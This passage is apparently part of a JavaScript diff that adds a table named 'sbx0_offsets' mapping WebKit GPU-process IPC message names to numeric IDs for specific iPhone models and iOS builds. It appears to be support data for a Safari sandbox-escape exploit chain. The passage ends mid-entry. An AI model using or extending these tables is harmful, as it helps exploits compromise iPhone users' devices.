RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone16,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone16,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + } +}); + + Object.assign(sbx0_offsets, { + "iPhone11,2_4_6_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone11,6_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + +"iPhone11,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + 